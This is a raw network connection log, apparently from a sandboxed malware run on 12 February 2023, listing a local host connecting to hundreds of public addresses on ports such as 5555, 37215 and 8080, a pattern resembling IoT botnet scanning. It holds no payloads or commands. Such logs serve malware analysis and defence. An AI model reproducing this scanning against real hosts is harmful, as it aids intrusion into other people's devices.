Feb 12, 2023 21:24:55.953250885 CET	22272	5555	192.168.2.23	194.31.223.238
Feb 12, 2023 21:24:55.953286886 CET	22272	5555	192.168.2.23	118.179.30.69
Feb 12, 2023 21:24:55.953289986 CET	22272	5555	192.168.2.23	65.133.198.234
Feb 12, 2023 21:24:55.953305006 CET	22272	5555	192.168.2.23	42.10.200.140
Feb 12, 2023 21:24:55.953314066 CET	22272	5555	192.168.2.23	170.213.211.105
Feb 12, 2023 21:24:55.953331947 CET	22272	5555	192.168.2.23	159.36.245.117
Feb 12, 2023 21:24:55.953352928 CET	22272	5555	192.168.2.23	17.79.51.56
Feb 12, 2023 21:24:55.953387022 CET	22272	5555	192.168.2.23	209.229.129.226
Feb 12, 2023 21:24:55.953387022 CET	22272	5555	192.168.2.23	98.178.212.86
Feb 12, 2023 21:24:55.953392029 CET	22272	5555	192.168.2.23	114.91.166.90
Feb 12, 2023 21:24:55.953401089 CET	22272	5555	192.168.2.23	137.33.245.184
Feb 12, 2023 21:24:55.953423977 CET	22272	5555	192.168.2.23	140.0.174.125
Feb 12, 2023 21:24:55.953443050 CET	22272	5555	192.168.2.23	92.135.87.134
Feb 12, 2023 21:24:55.953455925 CET	22272	5555	192.168.2.23	143.116.23.210
Feb 12, 2023 21:24:55.953479052 CET	22272	5555	192.168.2.23	93.187.186.135
Feb 12, 2023 21:24:55.953500986 CET	22272	5555	192.168.2.23	47.45.173.100
Feb 12, 2023 21:24:55.953517914 CET	22272	5555	192.168.2.23	206.42.216.138
Feb 12, 2023 21:24:55.953547001 CET	22272	5555	192.168.2.23	37.113.62.51
Feb 12, 2023 21:24:55.953560114 CET	22272	5555	192.168.2.23	68.169.164.246
Feb 12, 2023 21:24:55.953583002 CET	22272	5555	192.168.2.23	157.181.205.51
Feb 12, 2023 21:24:55.953612089 CET	22272	5555	192.168.2.23	77.103.237.86
Feb 12, 2023 21:24:55.953641891 CET	22272	5555	192.168.2.23	139.239.240.240
Feb 12, 2023 21:24:55.953660965 CET	22272	5555	192.168.2.23	130.135.120.224
Feb 12, 2023 21:24:55.953665018 CET	22272	5555	192.168.2.23	103.38.65.13
Feb 12, 2023 21:24:55.953682899 CET	22272	5555	192.168.2.23	83.244.11.139
Feb 12, 2023 21:24:55.953697920 CET	22272	5555	192.168.2.23	153.25.16.37
Feb 12, 2023 21:24:56.002376080 CET	5555	22272	13.53.172.40	192.168.2.23
Feb 12, 2023 21:24:56.044270039 CET	59238	81	192.168.2.23	54.57.46.49
Feb 12, 2023 21:24:56.111342907 CET	37072	37215	192.168.2.23	49.55.53.46
Feb 12, 2023 21:24:56.111366034 CET	55874	37215	192.168.2.23	49.55.46.50
Feb 12, 2023 21:24:56.111368895 CET	42846	37215	192.168.2.23	49.49.54.46
Feb 12, 2023 21:24:56.111366034 CET	34806	37215	192.168.2.23	53.48.46.50
Feb 12, 2023 21:24:56.127504110 CET	52981	37215	192.168.2.23	46.190.200.250
Feb 12, 2023 21:24:56.127511024 CET	52981	37215	192.168.2.23	197.191.35.64
Feb 12, 2023 21:24:56.127504110 CET	52981	37215	192.168.2.23	157.106.89.15
Feb 12, 2023 21:24:56.127504110 CET	52981	37215	192.168.2.23	157.166.185.72
Feb 12, 2023 21:24:56.127562046 CET	52981	37215	192.168.2.23	157.110.65.10
Feb 12, 2023 21:24:56.127563953 CET	52981	37215	192.168.2.23	197.49.214.194
Feb 12, 2023 21:24:56.127585888 CET	52981	37215	192.168.2.23	157.78.211.150
Feb 12, 2023 21:24:56.127623081 CET	52981	37215	192.168.2.23	157.132.51.2
Feb 12, 2023 21:24:56.127635002 CET	52981	37215	192.168.2.23	197.177.202.108
Feb 12, 2023 21:24:56.127674103 CET	52981	37215	192.168.2.23	41.140.178.213
Feb 12, 2023 21:24:56.127681017 CET	52981	37215	192.168.2.23	157.171.224.121
Feb 12, 2023 21:24:56.127681017 CET	52981	37215	192.168.2.23	197.131.201.65
Feb 12, 2023 21:24:56.127688885 CET	52981	37215	192.168.2.23	197.131.71.99
Feb 12, 2023 21:24:56.127721071 CET	52981	37215	192.168.2.23	197.44.145.31
Feb 12, 2023 21:24:56.127721071 CET	52981	37215	192.168.2.23	197.189.50.141
Feb 12, 2023 21:24:56.127753019 CET	52981	37215	192.168.2.23	138.151.231.231
Feb 12, 2023 21:24:56.127763033 CET	52981	37215	192.168.2.23	40.101.49.64
Feb 12, 2023 21:24:56.127774954 CET	52981	37215	192.168.2.23	157.3.239.211
Feb 12, 2023 21:24:56.127789021 CET	52981	37215	192.168.2.23	197.7.110.134
Feb 12, 2023 21:24:56.127908945 CET	52981	37215	192.168.2.23	88.110.1.226
Feb 12, 2023 21:24:56.127919912 CET	52981	37215	192.168.2.23	126.22.10.194
Feb 12, 2023 21:24:56.127950907 CET	52981	37215	192.168.2.23	41.238.253.137
Feb 12, 2023 21:24:56.127974033 CET	52981	37215	192.168.2.23	157.149.104.218
Feb 12, 2023 21:24:56.127988100 CET	52981	37215	192.168.2.23	41.163.117.190
Feb 12, 2023 21:24:56.128015995 CET	52981	37215	192.168.2.23	41.119.178.79
Feb 12, 2023 21:24:56.128040075 CET	52981	37215	192.168.2.23	41.225.42.149
Feb 12, 2023 21:24:56.128055096 CET	52981	37215	192.168.2.23	41.158.177.205
Feb 12, 2023 21:24:56.128072977 CET	52981	37215	192.168.2.23	101.164.143.181
Feb 12, 2023 21:24:56.128108025 CET	52981	37215	192.168.2.23	158.66.65.105
Feb 12, 2023 21:24:56.128115892 CET	52981	37215	192.168.2.23	132.52.153.146
Feb 12, 2023 21:24:56.128143072 CET	52981	37215	192.168.2.23	124.218.94.138
Feb 12, 2023 21:24:56.128181934 CET	52981	37215	192.168.2.23	157.216.11.17
Feb 12, 2023 21:24:56.128186941 CET	52981	37215	192.168.2.23	41.192.127.177
Feb 12, 2023 21:24:56.128192902 CET	52981	37215	192.168.2.23	197.2.91.49
Feb 12, 2023 21:24:56.128213882 CET	52981	37215	192.168.2.23	157.34.198.109
Feb 12, 2023 21:24:56.128228903 CET	52981	37215	192.168.2.23	157.221.23.169
Feb 12, 2023 21:24:56.128247976 CET	52981	37215	192.168.2.23	197.94.176.117
Feb 12, 2023 21:24:56.128247976 CET	52981	37215	192.168.2.23	41.57.114.83
Feb 12, 2023 21:24:56.128288031 CET	52981	37215	192.168.2.23	41.154.193.142
Feb 12, 2023 21:24:56.128308058 CET	52981	37215	192.168.2.23	195.197.59.104
Feb 12, 2023 21:24:56.128315926 CET	52981	37215	192.168.2.23	176.195.14.35
Feb 12, 2023 21:24:56.128351927 CET	52981	37215	192.168.2.23	197.73.210.8
Feb 12, 2023 21:24:56.128361940 CET	52981	37215	192.168.2.23	157.113.72.206
Feb 12, 2023 21:24:56.128379107 CET	52981	37215	192.168.2.23	41.62.156.51
Feb 12, 2023 21:24:56.128387928 CET	52981	37215	192.168.2.23	157.155.68.33
Feb 12, 2023 21:24:56.128397942 CET	52981	37215	192.168.2.23	183.172.111.72
Feb 12, 2023 21:24:56.128454924 CET	52981	37215	192.168.2.23	207.73.150.118
Feb 12, 2023 21:24:56.128464937 CET	52981	37215	192.168.2.23	87.127.217.123
Feb 12, 2023 21:24:56.128474951 CET	52981	37215	192.168.2.23	157.150.221.66
Feb 12, 2023 21:24:56.128488064 CET	52981	37215	192.168.2.23	41.9.251.209
Feb 12, 2023 21:24:56.128488064 CET	52981	37215	192.168.2.23	201.105.161.178
Feb 12, 2023 21:24:56.128493071 CET	52981	37215	192.168.2.23	41.29.100.195
Feb 12, 2023 21:24:56.128508091 CET	52981	37215	192.168.2.23	41.171.223.239
Feb 12, 2023 21:24:56.128508091 CET	52981	37215	192.168.2.23	197.129.71.170
Feb 12, 2023 21:24:56.128510952 CET	52981	37215	192.168.2.23	41.66.197.73
Feb 12, 2023 21:24:56.128532887 CET	52981	37215	192.168.2.23	41.179.100.110
Feb 12, 2023 21:24:56.128540993 CET	52981	37215	192.168.2.23	157.152.177.209
Feb 12, 2023 21:24:56.128549099 CET	52981	37215	192.168.2.23	41.48.25.124
Feb 12, 2023 21:24:56.128550053 CET	52981	37215	192.168.2.23	197.149.204.190
Feb 12, 2023 21:24:56.128570080 CET	52981	37215	192.168.2.23	157.135.255.14
Feb 12, 2023 21:24:56.128576040 CET	52981	37215	192.168.2.23	157.234.190.111
Feb 12, 2023 21:24:56.128592968 CET	52981	37215	192.168.2.23	197.124.213.73
Feb 12, 2023 21:24:56.128607988 CET	52981	37215	192.168.2.23	157.103.166.164
Feb 12, 2023 21:24:56.128663063 CET	52981	37215	192.168.2.23	157.67.100.168
Feb 12, 2023 21:24:56.128705025 CET	52981	37215	192.168.2.23	124.90.148.157
Feb 12, 2023 21:24:56.128705978 CET	52981	37215	192.168.2.23	208.159.126.11
Feb 12, 2023 21:24:56.128707886 CET	52981	37215	192.168.2.23	157.138.202.156
Feb 12, 2023 21:24:56.128705978 CET	52981	37215	192.168.2.23	118.29.229.189
Feb 12, 2023 21:24:56.128730059 CET	52981	37215	192.168.2.23	157.115.62.206
Feb 12, 2023 21:24:56.128751993 CET	52981	37215	192.168.2.23	197.72.144.56
Feb 12, 2023 21:24:56.128773928 CET	52981	37215	192.168.2.23	157.21.157.121
Feb 12, 2023 21:24:56.128798962 CET	52981	37215	192.168.2.23	197.143.137.227
Feb 12, 2023 21:24:56.128833055 CET	52981	37215	192.168.2.23	197.171.118.186
Feb 12, 2023 21:24:56.128833055 CET	52981	37215	192.168.2.23	36.73.28.137
Feb 12, 2023 21:24:56.128834009 CET	52981	37215	192.168.2.23	197.254.0.204
Feb 12, 2023 21:24:56.128834963 CET	52981	37215	192.168.2.23	41.37.27.170
Feb 12, 2023 21:24:56.128851891 CET	52981	37215	192.168.2.23	197.25.236.208
Feb 12, 2023 21:24:56.128876925 CET	52981	37215	192.168.2.23	187.108.61.80
Feb 12, 2023 21:24:56.128899097 CET	52981	37215	192.168.2.23	41.191.234.13
Feb 12, 2023 21:24:56.128909111 CET	52981	37215	192.168.2.23	41.15.122.92
Feb 12, 2023 21:24:56.128973961 CET	52981	37215	192.168.2.23	41.192.114.77
Feb 12, 2023 21:24:56.128983021 CET	52981	37215	192.168.2.23	31.216.23.103
Feb 12, 2023 21:24:56.128988028 CET	52981	37215	192.168.2.23	41.180.54.13
Feb 12, 2023 21:24:56.129013062 CET	52981	37215	192.168.2.23	157.134.171.193
Feb 12, 2023 21:24:56.129013062 CET	52981	37215	192.168.2.23	145.239.232.39
Feb 12, 2023 21:24:56.129038095 CET	52981	37215	192.168.2.23	147.152.121.171
Feb 12, 2023 21:24:56.129040956 CET	52981	37215	192.168.2.23	197.62.72.216
Feb 12, 2023 21:24:56.129041910 CET	52981	37215	192.168.2.23	66.249.250.183
Feb 12, 2023 21:24:56.129070044 CET	52981	37215	192.168.2.23	41.56.188.213
Feb 12, 2023 21:24:56.129071951 CET	52981	37215	192.168.2.23	45.11.231.76
Feb 12, 2023 21:24:56.129100084 CET	52981	37215	192.168.2.23	197.221.140.170
Feb 12, 2023 21:24:56.129120111 CET	52981	37215	192.168.2.23	110.123.96.207
Feb 12, 2023 21:24:56.129122972 CET	52981	37215	192.168.2.23	41.201.1.169
Feb 12, 2023 21:24:56.129146099 CET	52981	37215	192.168.2.23	157.55.245.66
Feb 12, 2023 21:24:56.129152060 CET	52981	37215	192.168.2.23	148.184.6.18
Feb 12, 2023 21:24:56.129175901 CET	52981	37215	192.168.2.23	157.145.7.52
Feb 12, 2023 21:24:56.129198074 CET	52981	37215	192.168.2.23	157.76.132.241
Feb 12, 2023 21:24:56.129259109 CET	52981	37215	192.168.2.23	157.200.218.61
Feb 12, 2023 21:24:56.129276991 CET	52981	37215	192.168.2.23	41.48.18.206
Feb 12, 2023 21:24:56.129240036 CET	52981	37215	192.168.2.23	197.162.17.237
Feb 12, 2023 21:24:56.129240036 CET	52981	37215	192.168.2.23	41.155.61.0
Feb 12, 2023 21:24:56.129295111 CET	52981	37215	192.168.2.23	169.210.19.19
Feb 12, 2023 21:24:56.129317045 CET	52981	37215	192.168.2.23	157.162.242.119
Feb 12, 2023 21:24:56.129338026 CET	52981	37215	192.168.2.23	41.16.204.108
Feb 12, 2023 21:24:56.129354954 CET	52981	37215	192.168.2.23	103.21.154.174
Feb 12, 2023 21:24:56.129367113 CET	52981	37215	192.168.2.23	31.148.141.68
Feb 12, 2023 21:24:56.129389048 CET	52981	37215	192.168.2.23	41.135.85.248
Feb 12, 2023 21:24:56.129420042 CET	52981	37215	192.168.2.23	41.250.215.108
Feb 12, 2023 21:24:56.129431009 CET	52981	37215	192.168.2.23	128.207.171.172
Feb 12, 2023 21:24:56.129434109 CET	52981	37215	192.168.2.23	41.198.146.121
Feb 12, 2023 21:24:56.129451036 CET	52981	37215	192.168.2.23	41.212.19.222
Feb 12, 2023 21:24:56.129492998 CET	52981	37215	192.168.2.23	41.189.37.142
Feb 12, 2023 21:24:56.129494905 CET	52981	37215	192.168.2.23	197.194.214.217
Feb 12, 2023 21:24:56.129499912 CET	52981	37215	192.168.2.23	174.87.157.80
Feb 12, 2023 21:24:56.129515886 CET	52981	37215	192.168.2.23	197.186.201.242
Feb 12, 2023 21:24:56.129518032 CET	52981	37215	192.168.2.23	157.65.75.201
Feb 12, 2023 21:24:56.129542112 CET	52981	37215	192.168.2.23	197.152.155.102
Feb 12, 2023 21:24:56.129543066 CET	52981	37215	192.168.2.23	157.164.11.100
Feb 12, 2023 21:24:56.129543066 CET	52981	37215	192.168.2.23	197.187.204.30
Feb 12, 2023 21:24:56.129553080 CET	52981	37215	192.168.2.23	41.160.116.158
Feb 12, 2023 21:24:56.129574060 CET	52981	37215	192.168.2.23	163.187.150.124
Feb 12, 2023 21:24:56.129585028 CET	52981	37215	192.168.2.23	157.66.241.165
Feb 12, 2023 21:24:56.129615068 CET	52981	37215	192.168.2.23	157.145.187.53
Feb 12, 2023 21:24:56.129616022 CET	52981	37215	192.168.2.23	197.144.6.43
Feb 12, 2023 21:24:56.129662991 CET	52981	37215	192.168.2.23	157.52.195.26
Feb 12, 2023 21:24:56.129688025 CET	52981	37215	192.168.2.23	197.104.139.91
Feb 12, 2023 21:24:56.129688025 CET	52981	37215	192.168.2.23	197.232.57.248
Feb 12, 2023 21:24:56.129688025 CET	52981	37215	192.168.2.23	157.181.201.53
Feb 12, 2023 21:24:56.129715919 CET	52981	37215	192.168.2.23	41.173.115.180
Feb 12, 2023 21:24:56.129733086 CET	52981	37215	192.168.2.23	197.185.204.164
Feb 12, 2023 21:24:56.129760981 CET	52981	37215	192.168.2.23	82.191.175.218
Feb 12, 2023 21:24:56.129760981 CET	52981	37215	192.168.2.23	197.148.150.195
Feb 12, 2023 21:24:56.129785061 CET	52981	37215	192.168.2.23	197.5.68.209
Feb 12, 2023 21:24:56.129808903 CET	52981	37215	192.168.2.23	119.125.17.190
Feb 12, 2023 21:24:56.129810095 CET	52981	37215	192.168.2.23	157.250.19.166
Feb 12, 2023 21:24:56.129838943 CET	52981	37215	192.168.2.23	41.245.15.15
Feb 12, 2023 21:24:56.129859924 CET	52981	37215	192.168.2.23	223.232.130.243
Feb 12, 2023 21:24:56.129873991 CET	52981	37215	192.168.2.23	157.43.22.236
Feb 12, 2023 21:24:56.129894018 CET	52981	37215	192.168.2.23	197.65.68.241
Feb 12, 2023 21:24:56.129916906 CET	52981	37215	192.168.2.23	9.104.200.122
Feb 12, 2023 21:24:56.129941940 CET	52981	37215	192.168.2.23	157.50.134.150
Feb 12, 2023 21:24:56.129971027 CET	52981	37215	192.168.2.23	157.169.155.190
Feb 12, 2023 21:24:56.129977942 CET	52981	37215	192.168.2.23	197.255.52.159
Feb 12, 2023 21:24:56.129991055 CET	52981	37215	192.168.2.23	41.250.116.84
Feb 12, 2023 21:24:56.130026102 CET	52981	37215	192.168.2.23	9.188.179.23
Feb 12, 2023 21:24:56.130031109 CET	52981	37215	192.168.2.23	152.110.244.68
Feb 12, 2023 21:24:56.130068064 CET	52981	37215	192.168.2.23	157.174.55.222
Feb 12, 2023 21:24:56.130069971 CET	52981	37215	192.168.2.23	197.163.151.27
Feb 12, 2023 21:24:56.130069971 CET	52981	37215	192.168.2.23	157.196.134.55
Feb 12, 2023 21:24:56.130089998 CET	52981	37215	192.168.2.23	197.250.195.82
Feb 12, 2023 21:24:56.130143881 CET	52981	37215	192.168.2.23	157.15.15.43
Feb 12, 2023 21:24:56.130143881 CET	52981	37215	192.168.2.23	110.96.91.125
Feb 12, 2023 21:24:56.130148888 CET	52981	37215	192.168.2.23	157.251.69.182
Feb 12, 2023 21:24:56.130172014 CET	52981	37215	192.168.2.23	41.79.23.182
Feb 12, 2023 21:24:56.130202055 CET	52981	37215	192.168.2.23	157.15.97.206
Feb 12, 2023 21:24:56.130207062 CET	52981	37215	192.168.2.23	152.209.78.45
Feb 12, 2023 21:24:56.130234003 CET	52981	37215	192.168.2.23	112.26.210.186
Feb 12, 2023 21:24:56.130248070 CET	52981	37215	192.168.2.23	197.7.244.184
Feb 12, 2023 21:24:56.130274057 CET	52981	37215	192.168.2.23	197.220.92.248
Feb 12, 2023 21:24:56.130295038 CET	52981	37215	192.168.2.23	41.240.164.99
Feb 12, 2023 21:24:56.130304098 CET	52981	37215	192.168.2.23	197.108.207.74
Feb 12, 2023 21:24:56.130332947 CET	52981	37215	192.168.2.23	157.48.204.219
Feb 12, 2023 21:24:56.130336046 CET	52981	37215	192.168.2.23	41.37.135.243
Feb 12, 2023 21:24:56.130362988 CET	52981	37215	192.168.2.23	197.196.190.249
Feb 12, 2023 21:24:56.130383015 CET	52981	37215	192.168.2.23	134.0.222.129
Feb 12, 2023 21:24:56.130393028 CET	52981	37215	192.168.2.23	157.66.149.46
Feb 12, 2023 21:24:56.130408049 CET	52981	37215	192.168.2.23	91.66.50.122
Feb 12, 2023 21:24:56.130448103 CET	52981	37215	192.168.2.23	41.62.213.92
Feb 12, 2023 21:24:56.130450010 CET	52981	37215	192.168.2.23	41.180.92.23
Feb 12, 2023 21:24:56.130464077 CET	52981	37215	192.168.2.23	41.89.205.242
Feb 12, 2023 21:24:56.130491972 CET	52981	37215	192.168.2.23	123.106.149.227
Feb 12, 2023 21:24:56.130507946 CET	52981	37215	192.168.2.23	102.171.166.36
Feb 12, 2023 21:24:56.130517006 CET	52981	37215	192.168.2.23	41.39.153.78
Feb 12, 2023 21:24:56.130537033 CET	52981	37215	192.168.2.23	197.6.97.37
Feb 12, 2023 21:24:56.130543947 CET	52981	37215	192.168.2.23	120.205.162.87
Feb 12, 2023 21:24:56.130567074 CET	52981	37215	192.168.2.23	197.167.101.177
Feb 12, 2023 21:24:56.130598068 CET	52981	37215	192.168.2.23	157.0.75.136
Feb 12, 2023 21:24:56.130598068 CET	52981	37215	192.168.2.23	197.148.232.155
Feb 12, 2023 21:24:56.130615950 CET	52981	37215	192.168.2.23	94.62.218.12
Feb 12, 2023 21:24:56.130630970 CET	52981	37215	192.168.2.23	157.219.93.217
Feb 12, 2023 21:24:56.130650997 CET	52981	37215	192.168.2.23	41.48.85.152
Feb 12, 2023 21:24:56.130665064 CET	52981	37215	192.168.2.23	102.137.41.78
Feb 12, 2023 21:24:56.130671024 CET	52981	37215	192.168.2.23	157.170.67.146
Feb 12, 2023 21:24:56.130706072 CET	52981	37215	192.168.2.23	41.13.78.234
Feb 12, 2023 21:24:56.130714893 CET	52981	37215	192.168.2.23	41.219.81.89
Feb 12, 2023 21:24:56.130732059 CET	52981	37215	192.168.2.23	41.141.26.23
Feb 12, 2023 21:24:56.130740881 CET	52981	37215	192.168.2.23	197.6.212.79
Feb 12, 2023 21:24:56.130760908 CET	52981	37215	192.168.2.23	197.164.124.200
Feb 12, 2023 21:24:56.130760908 CET	52981	37215	192.168.2.23	197.10.44.160
Feb 12, 2023 21:24:56.130799055 CET	52981	37215	192.168.2.23	41.129.54.88
Feb 12, 2023 21:24:56.130799055 CET	52981	37215	192.168.2.23	157.15.200.54
Feb 12, 2023 21:24:56.130804062 CET	52981	37215	192.168.2.23	197.198.196.44
Feb 12, 2023 21:24:56.130822897 CET	52981	37215	192.168.2.23	41.36.19.150
Feb 12, 2023 21:24:56.130831003 CET	52981	37215	192.168.2.23	157.183.246.189
Feb 12, 2023 21:24:56.130861998 CET	52981	37215	192.168.2.23	197.49.217.69
Feb 12, 2023 21:24:56.130872965 CET	52981	37215	192.168.2.23	157.203.131.154
Feb 12, 2023 21:24:56.130873919 CET	52981	37215	192.168.2.23	136.3.206.126
Feb 12, 2023 21:24:56.130875111 CET	52981	37215	192.168.2.23	197.147.15.52
Feb 12, 2023 21:24:56.130898952 CET	52981	37215	192.168.2.23	183.35.107.184
Feb 12, 2023 21:24:56.130947113 CET	52981	37215	192.168.2.23	41.136.114.111
Feb 12, 2023 21:24:56.130951881 CET	52981	37215	192.168.2.23	157.33.78.192
Feb 12, 2023 21:24:56.130964041 CET	52981	37215	192.168.2.23	157.78.72.74
Feb 12, 2023 21:24:56.130964041 CET	52981	37215	192.168.2.23	35.236.163.37
Feb 12, 2023 21:24:56.130974054 CET	52981	37215	192.168.2.23	133.228.234.228
Feb 12, 2023 21:24:56.130974054 CET	52981	37215	192.168.2.23	157.49.246.192
Feb 12, 2023 21:24:56.130974054 CET	52981	37215	192.168.2.23	41.189.200.244
Feb 12, 2023 21:24:56.130974054 CET	52981	37215	192.168.2.23	157.189.66.153
Feb 12, 2023 21:24:56.131027937 CET	52981	37215	192.168.2.23	157.80.238.249
Feb 12, 2023 21:24:56.131040096 CET	52981	37215	192.168.2.23	197.17.40.230
Feb 12, 2023 21:24:56.131047010 CET	52981	37215	192.168.2.23	41.190.148.227
Feb 12, 2023 21:24:56.131082058 CET	52981	37215	192.168.2.23	197.136.236.23
Feb 12, 2023 21:24:56.131091118 CET	52981	37215	192.168.2.23	157.167.107.206
Feb 12, 2023 21:24:56.131110907 CET	52981	37215	192.168.2.23	197.140.55.32
Feb 12, 2023 21:24:56.131110907 CET	52981	37215	192.168.2.23	50.20.200.88
Feb 12, 2023 21:24:56.131128073 CET	52981	37215	192.168.2.23	118.137.168.164
Feb 12, 2023 21:24:56.131139040 CET	52981	37215	192.168.2.23	85.209.229.234
Feb 12, 2023 21:24:56.131139040 CET	52981	37215	192.168.2.23	41.149.173.188
Feb 12, 2023 21:24:56.131145000 CET	52981	37215	192.168.2.23	197.122.161.118
Feb 12, 2023 21:24:56.131175041 CET	52981	37215	192.168.2.23	157.220.8.75
Feb 12, 2023 21:24:56.131192923 CET	52981	37215	192.168.2.23	27.60.165.213
Feb 12, 2023 21:24:56.131198883 CET	52981	37215	192.168.2.23	197.39.101.48
Feb 12, 2023 21:24:56.131203890 CET	52981	37215	192.168.2.23	157.168.137.145
Feb 12, 2023 21:24:56.131220102 CET	52981	37215	192.168.2.23	41.237.193.20
Feb 12, 2023 21:24:56.131232023 CET	52981	37215	192.168.2.23	193.235.32.176
Feb 12, 2023 21:24:56.131262064 CET	52981	37215	192.168.2.23	41.241.70.17
Feb 12, 2023 21:24:56.131273985 CET	52981	37215	192.168.2.23	157.84.77.220
Feb 12, 2023 21:24:56.131330013 CET	52981	37215	192.168.2.23	197.231.79.244
Feb 12, 2023 21:24:56.131340027 CET	52981	37215	192.168.2.23	197.67.4.207
Feb 12, 2023 21:24:56.131340027 CET	52981	37215	192.168.2.23	41.219.97.35
Feb 12, 2023 21:24:56.131361008 CET	52981	37215	192.168.2.23	157.164.102.196
Feb 12, 2023 21:24:56.131373882 CET	52981	37215	192.168.2.23	197.245.146.250
Feb 12, 2023 21:24:56.131390095 CET	52981	37215	192.168.2.23	197.146.151.167
Feb 12, 2023 21:24:56.131391048 CET	52981	37215	192.168.2.23	157.131.58.85
Feb 12, 2023 21:24:56.131462097 CET	52981	37215	192.168.2.23	177.135.171.89
Feb 12, 2023 21:24:56.131463051 CET	52981	37215	192.168.2.23	197.67.141.6
Feb 12, 2023 21:24:56.131477118 CET	52981	37215	192.168.2.23	157.34.76.169
Feb 12, 2023 21:24:56.131489038 CET	52981	37215	192.168.2.23	157.204.192.158
Feb 12, 2023 21:24:56.131496906 CET	52981	37215	192.168.2.23	97.173.62.211
Feb 12, 2023 21:24:56.131498098 CET	52981	37215	192.168.2.23	41.123.10.238
Feb 12, 2023 21:24:56.131504059 CET	52981	37215	192.168.2.23	197.162.242.248
Feb 12, 2023 21:24:56.131525993 CET	52981	37215	192.168.2.23	157.47.107.193
Feb 12, 2023 21:24:56.131547928 CET	52981	37215	192.168.2.23	41.205.127.246
Feb 12, 2023 21:24:56.131551027 CET	52981	37215	192.168.2.23	41.110.87.91
Feb 12, 2023 21:24:56.131553888 CET	52981	37215	192.168.2.23	157.102.177.101
Feb 12, 2023 21:24:56.131553888 CET	52981	37215	192.168.2.23	41.63.106.141
Feb 12, 2023 21:24:56.131553888 CET	52981	37215	192.168.2.23	197.197.133.12
Feb 12, 2023 21:24:56.131572962 CET	52981	37215	192.168.2.23	41.224.138.45
Feb 12, 2023 21:24:56.131586075 CET	52981	37215	192.168.2.23	109.151.53.202
Feb 12, 2023 21:24:56.131608963 CET	52981	37215	192.168.2.23	197.59.95.106
Feb 12, 2023 21:24:56.131639004 CET	52981	37215	192.168.2.23	73.14.58.250
Feb 12, 2023 21:24:56.131650925 CET	52981	37215	192.168.2.23	41.70.37.223
Feb 12, 2023 21:24:56.131661892 CET	52981	37215	192.168.2.23	41.150.209.207
Feb 12, 2023 21:24:56.131680012 CET	52981	37215	192.168.2.23	41.99.92.235
Feb 12, 2023 21:24:56.131688118 CET	52981	37215	192.168.2.23	41.168.50.235
Feb 12, 2023 21:24:56.131704092 CET	52981	37215	192.168.2.23	41.244.94.39
Feb 12, 2023 21:24:56.131716967 CET	52981	37215	192.168.2.23	157.122.241.60
Feb 12, 2023 21:24:56.143367052 CET	54868	37215	192.168.2.23	52.51.46.49
Feb 12, 2023 21:24:56.143398046 CET	60306	49152	192.168.2.23	49.53.49.46
Feb 12, 2023 21:24:56.164352894 CET	37215	52981	85.209.229.234	192.168.2.23
Feb 12, 2023 21:24:56.213277102 CET	5555	22272	177.139.67.97	192.168.2.23
Feb 12, 2023 21:24:56.238655090 CET	37215	52981	197.7.244.184	192.168.2.23
Feb 12, 2023 21:24:56.246052980 CET	5555	22272	1.249.168.53	192.168.2.23
Feb 12, 2023 21:24:56.246678114 CET	37215	52981	197.129.71.170	192.168.2.23
Feb 12, 2023 21:24:56.267149925 CET	37215	52981	50.20.200.88	192.168.2.23
Feb 12, 2023 21:24:56.271987915 CET	37215	52981	197.5.68.209	192.168.2.23
Feb 12, 2023 21:24:56.310755968 CET	37215	52981	103.21.154.174	192.168.2.23
Feb 12, 2023 21:24:56.325299025 CET	37215	52981	36.73.28.137	192.168.2.23
Feb 12, 2023 21:24:56.347853899 CET	58570	80	192.168.2.23	54.57.46.49
Feb 12, 2023 21:24:56.431444883 CET	41158	8080	192.168.2.23	49.53.49.46
Feb 12, 2023 21:24:56.467341900 CET	33668	7574	192.168.2.23	49.55.46.50
Feb 12, 2023 21:24:56.469259024 CET	37215	52981	124.218.94.138	192.168.2.23
Feb 12, 2023 21:24:56.650408030 CET	37242	49152	192.168.2.23	49.50.48.46
Feb 12, 2023 21:24:56.687412024 CET	42836	443	192.168.2.23	91.189.91.43
Feb 12, 2023 21:24:56.751358986 CET	58564	80	192.168.2.23	54.57.46.49
Feb 12, 2023 21:24:56.751396894 CET	54988	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:56.751396894 CET	54992	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:56.751415968 CET	54998	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:56.751436949 CET	54996	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:56.751446009 CET	55744	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:56.751446009 CET	54994	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:56.835635900 CET	5555	22272	144.248.24.211	192.168.2.23
Feb 12, 2023 21:24:56.879421949 CET	51694	5555	192.168.2.23	142.11.52.65
Feb 12, 2023 21:24:56.954457045 CET	60080	8080	192.168.2.23	49.50.48.46
Feb 12, 2023 21:24:56.955728054 CET	22272	5555	192.168.2.23	168.66.61.146
Feb 12, 2023 21:24:56.955728054 CET	22272	5555	192.168.2.23	161.207.206.138
Feb 12, 2023 21:24:56.955732107 CET	22272	5555	192.168.2.23	108.160.230.176
Feb 12, 2023 21:24:56.955734015 CET	22272	5555	192.168.2.23	140.3.165.231
Feb 12, 2023 21:24:56.955760002 CET	22272	5555	192.168.2.23	102.119.118.85
Feb 12, 2023 21:24:56.955806017 CET	22272	5555	192.168.2.23	196.232.37.91
Feb 12, 2023 21:24:56.955810070 CET	22272	5555	192.168.2.23	122.250.206.170
Feb 12, 2023 21:24:56.955821037 CET	22272	5555	192.168.2.23	81.158.19.16
Feb 12, 2023 21:24:56.955842972 CET	22272	5555	192.168.2.23	17.128.162.251
Feb 12, 2023 21:24:56.955867052 CET	22272	5555	192.168.2.23	128.30.44.99
Feb 12, 2023 21:24:56.955871105 CET	22272	5555	192.168.2.23	142.206.120.174
Feb 12, 2023 21:24:56.955874920 CET	22272	5555	192.168.2.23	220.223.187.236
Feb 12, 2023 21:24:56.955867052 CET	22272	5555	192.168.2.23	32.167.246.225
Feb 12, 2023 21:24:56.955867052 CET	22272	5555	192.168.2.23	137.191.44.138
Feb 12, 2023 21:24:56.955890894 CET	22272	5555	192.168.2.23	91.154.105.184
Feb 12, 2023 21:24:56.955893993 CET	22272	5555	192.168.2.23	92.218.106.169
Feb 12, 2023 21:24:56.955893993 CET	22272	5555	192.168.2.23	148.56.178.34
Feb 12, 2023 21:24:56.955903053 CET	22272	5555	192.168.2.23	125.131.223.32
